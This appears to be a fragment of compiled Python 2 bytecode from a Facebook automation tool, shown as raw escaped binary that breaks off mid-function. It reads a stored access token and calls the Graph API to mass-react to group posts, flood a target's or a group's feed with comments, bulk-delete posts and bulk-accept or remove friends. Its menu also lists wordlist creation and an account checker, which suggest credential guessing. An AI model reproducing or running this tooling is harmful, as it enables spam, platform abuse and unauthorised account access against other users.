\x01\x00\x00R:\x00\x00\x00(\x05\x00\x00\x00R/\x00\x00\x00R+\x01\x00\x00R!\x01\x00\x00t\x06\x00\x00\x00reactgR\x11\x01\x00\x00(\x01\x00\x00\x00R#\x01\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R+\x01\x00\x00\xb5\x07\x00\x00s4\x00\x00\x00\x00\x02\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\x06\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\t\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\r\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHt\t\x00d\x07\x00\x83\x01\x00}\x01\x00t\t\x00d\x08\x00\x83\x01\x00}\x02\x00y>\x00t\n\x00j\x0b\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x03\x00t\x0c\x00j\r\x00|\x03\x00j\x0e\x00\x83\x01\x00}\x04\x00d\x0b\x00|\x04\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x0f\x00k\n\x00r\xf1\x00\x01\x01\x01d\r\x00GHt\t\x00d\x0e\x00\x83\x01\x00\x01t\x10\x00\x83\x00\x00\x01n\x01\x00Xy\xed\x00t\n\x00j\x0b\x00d\x0f\x00|\x01\x00\x17d\x10\x00\x17|\x02\x00\x17d\x11\x00\x17|\x00\x00\x17\x83\x01\x00}\x05\x00t\x0c\x00j\r\x00|\x05\x00j\x0e\x00\x83\x01\x00}\x06\x00t\x11\x00d\x12\x00\x83\x01\x00\x01d\x13\x00d\x14\x00\x14GHxo\x00|\x06\x00d\x15\x00\x19d\x16\x00\x19D]_\x00}\x07\x00|\x07\x00d\x17\x00\x19}\x08\x00t\x12\x00j\x13\x00|\x08\x00\x83\x01\x00\x01t\n\x00j\x14\x00d\x18\x00|\x08\x00\x17d\x19\x00\x17t\x15\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00\x01d\x1a\x00|\x08\x00d\x1b\x00 j\x16\x00d\x1c\x00d\x1d\x00\x83\x02\x00\x17d\x1e\x00\x17t\x15\x00\x17GHqL\x01Wd\x13\x00d\x14\x00\x14GHd\x1f\x00t\x17\x00t\x18\x00t\x12\x00\x83\x01\x00\x83\x01\x00\x17GHt\t\x00d\x0e\x00\x83\x01\x00\x01t\x19\x00\x83\x00\x00\x01Wn\'\x00\x04t\x0f\x00k\n\x00r\x08\x02\x01\x01\x01d \x00GHt\t\x00d\x0e\x00\x83\x01\x00\x01t\x19\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(!\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s1\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID Group \x1b[1;91m:\x1b[1;97m s(\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m s%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s \x00\x00\x00https://graph.facebook.com/v3.0/s\x13\x00\x00\x00?fields=feed.limit(s\x0f\x00\x00\x00)&access_token=s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90R$\x01\x00\x00Rl\x00\x00\x00Rj\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s\x10\x00\x00\x00/reactions?type=s\x0f\x00\x00\x00\x1b[1;92m[\x1b[1;97mi\n\x00\x00\x00s\x01\x00\x00\x00\nR%\x01\x00\x00s\x14\x00\x00\x00... \x1b[1;92m] \x1b[1;97ms\x1f\x00\x00\x00\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97ms\x17\x00\x00\x00\x1b[1;91m[!] ID not found(\x1a\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x13\x01\x00\x00R \x00\x00\x00t\n\x00\x00\x00reaksigrupR\x94\x00\x00\x00Rh\x00\x00\x00R!\x01\x00\x00R\x16\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x11\x01\x00\x00(\t\x00\x00\x00R4\x00\x00\x00R\'\x01\x00\x00R(\x01\x00\x00R\'\x00\x00\x00R\xa0\x00\x00\x00R)\x01\x00\x00R*\x01\x00\x00Rm\x00\x00\x00Ro\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R,\x01\x00\x00\xd3\x07\x00\x00sL\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x0c\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\x03\x01#\x01\x12\x01\n\x01\t\x01\x15\x01\n\x01\r\x01!\x01%\x01\t\x01\x15\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01c\x00\x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\xc4\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHd\x07\x00GHt\t\x00d\x08\x00\x83\x01\x00}\x01\x00t\t\x00d\t\x00\x83\x01\x00}\x02\x00t\t\x00d\n\x00\x83\x01\x00}\x03\x00|\x02\x00j\n\x00d\x0b\x00d\x0c\x00\x83\x02\x00}\x02\x00y\xe9\x00t\x0b\x00j\x0c\x00d\r\x00|\x01\x00\x17d\x0e\x00\x17|\x03\x00\x17d\x0f\x00\x17|\x00\x00\x17\x83\x01\x00}\x04\x00t\r\x00j\x0e\x00|\x04\x00j\x0f\x00\x83\x01\x00}\x05\x00t\x10\x00d\x10\x00\x83\x01\x00\x01d\x11\x00d\x12\x00\x14GHxk\x00|\x05\x00d\x13\x00\x19d\x14\x00\x19D][\x00}\x06\x00|\x06\x00d\x15\x00\x19}\x07\x00t\x11\x00j\x12\x00|\x07\x00\x83\x01\x00\x01t\x0b\x00j\x13\x00d\r\x00|\x07\x00\x17d\x16\x00\x17|\x02\x00\x17d\x17\x00\x17|\x00\x00\x17\x83\x01\x00\x01d\x18\x00|\x02\x00d\x19\x00 j\n\x00d\x0c\x00d\x1a\x00\x83\x02\x00\x17d\x1b\x00\x17GHq\x07\x01Wd\x11\x00d\x12\x00\x14GHd\x1c\x00t\x14\x00t\x15\x00t\x11\x00\x83\x01\x00\x83\x01\x00\x17GHt\t\x00d\x1d\x00\x83\x01\x00\x01t\x16\x00\x83\x00\x00\x01Wn\'\x00\x04t\x17\x00k\n\x00r\xbf\x01\x01\x01\x01d\x1e\x00GHt\t\x00d\x1d\x00\x83\x01\x00\x01t\x16\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x1f\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s6\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m\'<>\' \x1b[1;92mfor new liness,\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m s*\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mComment \x1b[1;91m:\x1b[1;97m s(\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m s\x02\x00\x00\x00<>s\x01\x00\x00\x00\ns\x1b\x00\x00\x00https://graph.facebook.com/s\x13\x00\x00\x00?fields=feed.limit(s\x0f\x00\x00\x00)&access_token=s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90R$\x01\x00\x00Rl\x00\x00\x00Rj\x00\x00\x00s\x12\x00\x00\x00/comments?message=s\x0e\x00\x00\x00&access_token=s\x0f\x00\x00\x00\x1b[1;92m[\x1b[1;97mi\n\x00\x00\x00R%\x01\x00\x00s\x0c\x00\x00\x00... \x1b[1;92m]s\x1f\x00\x00\x00\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97ms\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x17\x00\x00\x00\x1b[1;91m[!] ID not found(\x18\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R\x16\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R \x00\x00\x00t\x05\x00\x00\x00komenR\x94\x00\x00\x00Rh\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x11\x01\x00\x00R,\x00\x00\x00(\x08\x00\x00\x00R4\x00\x00\x00R\'\x01\x00\x00t\x02\x00\x00\x00kmR(\x01\x00\x00R\xf1\x00\x00\x00Rm\x00\x00\x00R\xa2\x00\x00\x00t\x01\x00\x00\x00f(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x14\x01\x00\x00\xfc\x07\x00\x00sB\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x0c\x01\x0c\x01\x0c\x01\x12\x01\x03\x01#\x01\x12\x01\n\x01\t\x01\x15\x01\n\x01\r\x01!\x01!\x01\t\x01\x15\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01c\x00\x00\x00\x00\n\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s,\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHd\x07\x00GHt\t\x00d\x08\x00\x83\x01\x00}\x01\x00t\t\x00d\t\x00\x83\x01\x00}\x02\x00t\t\x00d\n\x00\x83\x01\x00}\x03\x00|\x02\x00j\n\x00d\x0b\x00d\x0c\x00\x83\x02\x00}\x02\x00y>\x00t\x0b\x00j\x0c\x00d\r\x00|\x01\x00\x17d\x0e\x00\x17|\x00\x00\x17\x83\x01\x00}\x04\x00t\r\x00j\x0e\x00|\x04\x00j\x0f\x00\x83\x01\x00}\x05\x00d\x0f\x00|\x05\x00d\x10\x00\x19\x17GHWn\'\x00\x04t\x10\x00k\n\x00r\x14\x01\x01\x01\x01d\x11\x00GHt\t\x00d\x12\x00\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01n\x01\x00Xy\xe9\x00t\x0b\x00j\x0c\x00d\x13\x00|\x01\x00\x17d\x14\x00\x17|\x03\x00\x17d\x15\x00\x17|\x00\x00\x17\x83\x01\x00}\x06\x00t\r\x00j\x0e\x00|\x06\x00j\x0f\x00\x83\x01\x00}\x07\x00t\x12\x00d\x16\x00\x83\x01\x00\x01d\x17\x00d\x18\x00\x14GHxk\x00|\x07\x00d\x19\x00\x19d\x1a\x00\x19D][\x00}\x08\x00|\x08\x00d\x1b\x00\x19}\t\x00t\x13\x00j\x14\x00|\t\x00\x83\x01\x00\x01t\x0b\x00j\x15\x00d\x1c\x00|\t\x00\x17d\x1d\x00\x17|\x02\x00\x17d\x0e\x00\x17|\x00\x00\x17\x83\x01\x00\x01d\x1e\x00|\x02\x00d\x1f\x00 j\n\x00d\x0c\x00d \x00\x83\x02\x00\x17d!\x00\x17GHqo\x01Wd\x17\x00d\x18\x00\x14GHd"\x00t\x16\x00t\x17\x00t\x13\x00\x83\x01\x00\x83\x01\x00\x17GHt\t\x00d\x12\x00\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01Wn\'\x00\x04t\x10\x00k\n\x00r\'\x02\x01\x01\x01d#\x00GHt\t\x00d\x12\x00\x83\x01\x00\x01t\x11\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S($\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s6\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m\'<>\' \x1b[1;92mfor new liness,\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mID Group \x1b[1;91m:\x1b[1;97m s*\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mComment \x1b[1;91m:\x1b[1;97m s(\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m s\x02\x00\x00\x00<>s\x01\x00\x00\x00\ns%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s \x00\x00\x00https://graph.facebook.com/v3.0/s\x13\x00\x00\x00?fields=feed.limit(s\x0f\x00\x00\x00)&access_token=s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90R$\x01\x00\x00Rl\x00\x00\x00Rj\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s\x12\x00\x00\x00/comments?message=s\x0f\x00\x00\x00\x1b[1;92m[\x1b[1;97mi\n\x00\x00\x00R%\x01\x00\x00s\x0c\x00\x00\x00... \x1b[1;92m]s\x1f\x00\x00\x00\r\x1b[1;91m[+]\x1b[1;92m Done \x1b[1;97ms\x10\x00\x00\x00\x1b[1;91m[!] Error(\x18\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R\x16\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x11\x01\x00\x00R \x00\x00\x00t\t\x00\x00\x00komengrupR\x94\x00\x00\x00Rh\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00(\n\x00\x00\x00R4\x00\x00\x00R\'\x01\x00\x00R/\x01\x00\x00R(\x01\x00\x00R\'\x00\x00\x00R\xa0\x00\x00\x00R\xf1\x00\x00\x00Rm\x00\x00\x00R\xa2\x00\x00\x00R0\x01\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x15\x01\x00\x00 \x08\x00\x00sR\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x0c\x01\x0c\x01\x0c\x01\x12\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\x03\x01#\x01\x12\x01\n\x01\t\x01\x15\x01\n\x01\r\x01!\x01!\x01\t\x01\x15\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01c\x00\x00\x00\x00\x0c\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xf5\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01yH\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00t\x04\x00j\x05\x00d\x04\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\x06\x00j\x07\x00|\x01\x00j\x08\x00\x83\x01\x00}\x02\x00|\x02\x00d\x05\x00\x19}\x03\x00Wn7\x00\x04t\t\x00k\n\x00r\x8e\x00\x01\x01\x01d\x06\x00GHt\x00\x00j\x01\x00d\x07\x00\x83\x01\x00\x01t\n\x00j\x0b\x00d\x08\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\r\x00GHd\t\x00|\x03\x00\x16GHt\x0e\x00d\n\x00\x83\x01\x00\x01d\x0b\x00d\x0c\x00\x14GHt\x04\x00j\x05\x00d\r\x00|\x00\x00\x17\x83\x01\x00}\x04\x00t\x06\x00j\x07\x00|\x04\x00j\x08\x00\x83\x01\x00}\x05\x00x\xed\x00|\x05\x00d\x0e\x00\x19D]\xe1\x00}\x06\x00|\x06\x00d\x0f\x00\x19}\x07\x00d\x10\x00}\x08\x00t\x04\x00j\x05\x00d\x11\x00|\x07\x00\x17d\x12\x00\x17|\x00\x00\x17\x83\x01\x00}\t\x00t\x06\x00j\x07\x00|\t\x00j\x08\x00\x83\x01\x00}\n\x00y3\x00|\n\x00d\x13\x00\x19d\x14\x00\x19}\x0b\x00d\x15\x00|\x07\x00d\x16\x00 j\x0f\x00d\x17\x00d\x18\x00\x83\x02\x00\x17d\x19\x00\x17d\x1a\x00\x17GHWq\xed\x00\x04t\x10\x00k\n\x00r\xa1\x01\x01\x01\x01d\x1b\x00|\x07\x00d\x16\x00 j\x0f\x00d\x17\x00d\x18\x00\x83\x02\x00\x17d\x19\x00\x17d\x1c\x00\x17GH|\x08\x00d\x08\x007}\x08\x00q\xed\x00\x04t\x04\x00j\x11\x00j\x12\x00k\n\x00r\xcd\x01\x01\x01\x01d\x1d\x00GHt\x13\x00d\x1e\x00\x83\x01\x00\x01t\x14\x00\x83\x00\x00\x01q\xed\x00Xq\xed\x00Wd\x0b\x00d\x0c\x00\x14GHd\x1f\x00GHt\x13\x00d\x1e\x00\x83\x01\x00\x01t\x14\x00\x83\x00\x00\x01d\x00\x00S( \x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s+\x00\x00\x00https://graph.facebook.com/me?access_token=R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s)\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%ss"\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mStart\x1b[1;97m ...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s0\x00\x00\x00https://graph.facebook.com/me/feed?access_token=Rl\x00\x00\x00Rj\x00\x00\x00i\x00\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s\x1c\x00\x00\x00?method=delete&access_token=t\x05\x00\x00\x00errort\x07\x00\x00\x00messages\x0f\x00\x00\x00\x1b[1;91m[\x1b[1;97mi\n\x00\x00\x00s\x01\x00\x00\x00\nR%\x01\x00\x00s\x03\x00\x00\x00...s\x16\x00\x00\x00\x1b[1;91m] \x1b[1;95mFaileds\x0f\x00\x00\x00\x1b[1;92m[\x1b[1;97ms\x17\x00\x00\x00\x1b[1;92m] \x1b[1;96mDeleteds\x1b\x00\x00\x00\x1b[1;91m[!] Connection Errors\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x16\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mDone(\x15\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R 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Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s(\x00\x00\x00\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m s3\x00\x00\x00https://graph.facebook.com/me/friendrequests?limit=s\x0e\x00\x00\x00&access_token=s\x02\x00\x00\x00[]Rl\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;91m[!] No friend requests\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s&\x00\x00\x00https://graph.facebook.com/me/friends/t\x04\x00\x00\x00fromRj\x00\x00\x00s\x0e\x00\x00\x00?access_token=R2\x01\x00\x00s \x00\x00\x00\x1b[1;97m[ \x1b[1;91mFailed\x1b[1;97m ] R0\x00\x00\x00s \x00\x00\x00\x1b[1;97m[ \x1b[1;92mAccept\x1b[1;97m ] s\x16\x00\x00\x00\x1b[1;91m[+] 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Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...s\x19\x00\x00\x00\x1b[1;97mStop \x1b[1;91mCTRL+Ci*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=Rl\x00\x00\x00R0\x00\x00\x00Rj\x00\x00\x00s*\x00\x00\x00https://graph.facebook.com/me/friends?uid=s\x0e\x00\x00\x00&access_token=s!\x00\x00\x00\x1b[1;97m[\x1b[1;92m Deleted \x1b[1;97m] s\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x17\x00\x00\x00\n\x1b[1;91m[+] \x1b[1;92mDone(\x14\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R 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Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s1\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Create Posts5\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Create Wordlists5\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Account Checkers7\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m See my group lists3\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m5.\x1b[1;97m Profile Guards*\x00\x00\x00\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Backs\x03\x00\x00\x00\xe2\x95\x91(\n\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00t\n\x00\x00\x00pilih_lain(\x01\x00\x00\x00R4\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>t\x04\x00\x00\x00lain\xb7\x08\x00\x00s$\x00\x00\x00\x00\x01\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\xbb\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\x90\x00|\x00\x00d\x04\x00k\x02\x00r=\x00t\x02\x00\x83\x00\x00\x01nz\x00|\x00\x00d\x05\x00k\x02\x00rS\x00t\x03\x00\x83\x00\x00\x01nd\x00|\x00\x00d\x06\x00k\x02\x00ri\x00t\x04\x00\x83\x00\x00\x01nN\x00|\x00\x00d\x07\x00k\x02\x00r\x7f\x00t\x05\x00\x83\x00\x00\x01n8\x00|\x00\x00d\x08\x00k\x02\x00r\x95\x00t\x06\x00\x83\x00\x00\x01n"\x00|\x00\x00d\t\x00k\x02\x00r\xab\x00t\x07\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x00\x00S(\n\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00R9\x00\x00\x00Rs\x00\x00\x00Rt\x00\x00\x00R\x81\x00\x00\x00R:\x00\x00\x00(\x08\x00\x00\x00R/\x00\x00\x00R?\x01\x00\x00t\x06\x00\x00\x00statusR\xfb\x00\x00\x00t\n\x00\x00\x00check_akunt\x08\x00\x00\x00grupsayat\x05\x00\x00\x00guardR+\x00\x00\x00(\x01\x00\x00\x00t\x05\x00\x00\x00other(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R?\x01\x00\x00\xcb\x08\x00\x00s$\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x01\x0c\x01\n\x02\x05\x01c\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\x05\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHt\t\x00d\x07\x00\x83\x01\x00}\x01\x00|\x01\x00d\x08\x00k\x02\x00r\xa3\x00d\t\x00GHt\t\x00d\n\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n^\x00t\x0b\x00j\x0c\x00d\x0b\x00|\x01\x00\x17d\x0c\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\r\x00j\x0e\x00|\x02\x00j\x0f\x00\x83\x01\x00}\x03\x00t\x10\x00d\r\x00\x83\x01\x00\x01d\x0e\x00d\x0f\x00\x14GHd\x10\x00|\x03\x00d\x11\x00\x19\x17GHt\t\x00d\n\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01d\x00\x00S(\x12\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf 